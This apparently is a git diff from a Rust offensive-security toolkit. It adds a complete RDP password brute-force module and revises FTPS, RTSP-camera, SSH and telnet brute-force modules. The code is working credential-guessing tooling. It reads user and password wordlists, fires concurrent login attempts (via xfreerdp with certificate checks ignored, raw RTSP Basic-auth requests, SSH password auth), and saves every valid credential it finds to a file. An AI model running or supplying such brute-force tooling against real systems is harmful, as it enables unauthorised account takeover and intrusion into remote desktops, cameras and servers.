TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = addr
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(addr);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("TLS upgrade failed: {}", e))?;
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp_tls.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
Ok(false) // Bad login
|
||||
} else {
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// === Helpers ===
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
@@ -193,18 +298,15 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
match input.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -212,11 +314,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
Ok(reader.lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
@@ -226,10 +324,8 @@ fn log(verbose: bool, msg: &str) {
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
.map(|n| PathBuf::from(format!("./{}", n.to_string_lossy())))
|
||||
.unwrap_or_else(|| PathBuf::from(input))
|
||||
}
|
||||
|
||||
@@ -5,3 +5,5 @@
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
use anyhow::Result;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== RDP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RDP Port", "3389")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rdp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let addr = format_socket_address(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rdp_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let mut child = Command::new("xfreerdp")
|
||||
.arg(format!("/v:{}", addr))
|
||||
.arg(format!("/u:{}", user))
|
||||
.arg(format!("/p:{}", pass))
|
||||
.arg("/cert:ignore")
|
||||
.arg("/timeout:5000")
|
||||
.arg("/log-level:OFF")
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let status = child.wait().await?;
|
||||
Ok(status.success())
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
|
||||
// —— updated helper to handle any number of brackets ——
|
||||
fn format_socket_address(ip: &str, port: u16) -> String {
|
||||
// Strip all existing brackets from the ends, no matter how many layers
|
||||
let trimmed = ip.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
// If it still contains a colon, assume IPv6 and wrap in one pair of brackets
|
||||
if trimmed.contains(':') {
|
||||
format!("[{}]:{}", trimmed, port)
|
||||
} else {
|
||||
format!("{}:{}", trimmed, port)
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::Engine as _;
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
@@ -20,9 +20,6 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
//------------------------------
|
||||
// 1) Basic Brute Force Settings
|
||||
//------------------------------
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
@@ -52,18 +49,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
//------------------------------
|
||||
// 2) Advanced Features
|
||||
//------------------------------
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
// By default, we'll demonstrate a DESCRIBE method.
|
||||
// You could prompt for multiple commands, but here's one for simplicity.
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
// Prompt for custom headers file
|
||||
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
|
||||
if headers_file {
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
@@ -72,77 +62,56 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
|
||||
//------------------------------
|
||||
// 3) Brute Force RTSP Paths
|
||||
//------------------------------
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
// If not brute forcing paths, we just do an empty vector or single slash
|
||||
vec!["".to_string()] // We'll interpret "" as no path specified
|
||||
vec!["".to_string()]
|
||||
};
|
||||
|
||||
//------------------------------
|
||||
// 4) Begin Brute Force
|
||||
//------------------------------
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
// Load user list
|
||||
let users = load_lines(&usernames_file)?;
|
||||
|
||||
// Load password list
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.collect();
|
||||
|
||||
let mut idx = 0;
|
||||
// For each password
|
||||
for pass in pass_lines {
|
||||
// If we've already found valid creds and we're stopping on success, break early
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
// If combo_mode is true, each password tries all users.
|
||||
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Use user at "idx % users.len()" if we’re not in combo_mode
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
// We batch tasks up to "concurrency"
|
||||
let mut handles = vec![];
|
||||
|
||||
// For each username
|
||||
for user in userlist {
|
||||
// For each path
|
||||
for path in &paths {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
// Clone references for the task
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let path = path.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
// The advanced method & headers
|
||||
let command = advanced_command.clone();
|
||||
let headers = advanced_headers.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
// Check again if we've been signaled to stop
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
@@ -150,29 +119,21 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
|
||||
println!("[+] {} -> {}:{} [path={}]",
|
||||
addr, user, pass, path_str);
|
||||
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
|
||||
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {} -> error: {}", addr, e));
|
||||
}
|
||||
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
|
||||
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
|
||||
}
|
||||
|
||||
// A short delay between attempts
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
// If we reach concurrency, wait for them to finish before scheduling more
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
@@ -181,7 +142,6 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for any leftover tasks in the batch
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
@@ -189,9 +149,6 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
//------------------------------
|
||||
// 5) Show Results / Save
|
||||
//------------------------------
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
@@ -214,8 +171,42 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
|
||||
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we can’t connect/parse response.
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addr: &str,
|
||||
user: &str,
|
||||
@@ -224,55 +215,66 @@ async fn try_rtsp_login(
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
// Parse the address to confirm it's valid
|
||||
let socket_addr: SocketAddr = addr.parse()
|
||||
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
|
||||
let addrs = resolve_targets(addr).await?;
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa = None;
|
||||
|
||||
// Open TCP connection to camera
|
||||
let mut stream = TcpStream::connect(socket_addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
|
||||
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
|
||||
// Build path portion (some cameras expect the path in the request line).
|
||||
// If path is empty, we skip it. Or default to / if you want.
|
||||
let path_str = if path.is_empty() {
|
||||
"" // or "/"
|
||||
} else {
|
||||
path
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts failed: {}",
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build Basic Auth
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
// Build the RTSP request line
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
addr = addr,
|
||||
path = path_str.trim_start_matches('/'), // avoid double slash
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
// Append extra headers if advanced mode is on
|
||||
for header in extra_headers {
|
||||
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
// End with a blank line
|
||||
request.push_str("\r\n");
|
||||
|
||||
// Send request
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
|
||||
// Read response
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
@@ -280,7 +282,6 @@ async fn try_rtsp_login(
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
// Very naive checks
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
@@ -290,7 +291,8 @@ async fn try_rtsp_login(
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for a required field (no default allowed).
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
@@ -300,27 +302,20 @@ fn prompt_required(msg: &str) -> Result<String> {
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for a value with a default fallback.
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
|
||||
}
|
||||
|
||||
/// Prompts the user for a yes/no question, with a default answer.
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
@@ -328,20 +323,15 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
match s.trim().to_lowercase().as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Loads a file, returning non-empty lines in a Vec.
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
@@ -353,14 +343,12 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
/// Prints log messages only in verbose mode.
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns a PathBuf in the current directory for the given filename.
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
|
||||
@@ -141,14 +141,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
let addr = addr.to_string();
|
||||
let normalized = format_host_port(addr)?;
|
||||
let user = user.to_string();
|
||||
let pass = pass.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr) {
|
||||
match TcpStream::connect(&normalized) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?; // ✅ fixed here
|
||||
let mut sess = Session::new()?; // ✅ SSH session
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user, &pass) {
|
||||
@@ -164,6 +164,38 @@ async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
/// 💡 Format IP/hostname into `host:port` with safe IPv6 wrapping,
|
||||
/// stripping any extra nesting of `[`/`]`.
|
||||
fn format_host_port(input: &str) -> Result<String> {
|
||||
// If it’s already exactly "[ipv6]:port" (no nested brackets inside), accept it as-is.
|
||||
if input.starts_with('[') {
|
||||
if let Some(end) = input.find("]:") {
|
||||
let inner = &input[1..end];
|
||||
if !inner.contains('[') && !inner.contains(']') {
|
||||
return Ok(input.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Otherwise, split off the port by the last ':'.
|
||||
let parts: Vec<&str> = input.rsplitn(2, ':').collect();
|
||||
if parts.len() != 2 {
|
||||
return Err(anyhow!("Invalid target address format: '{}'", input));
|
||||
}
|
||||
let port = parts[0];
|
||||
let raw_host = parts[1];
|
||||
|
||||
// Strip _all_ leading '[' and trailing ']' from the host part
|
||||
let host = raw_host.trim_matches(|c| c == '[' || c == ']');
|
||||
|
||||
// If it’s an IPv6 (contains ':'), wrap exactly once.
|
||||
if host.contains(':') {
|
||||
Ok(format!("[{}]:{}", host, port))
|
||||
} else {
|
||||
Ok(format!("{}:{}", host, port))
|
||||
}
|
||||
}
|
||||
|
||||
// === Utility Functions ===
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use telnet::Event;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::{unbounded};
|
||||
use crossbeam_channel::unbounded;
|
||||
use telnet::Telnet;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
@@ -16,9 +18,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
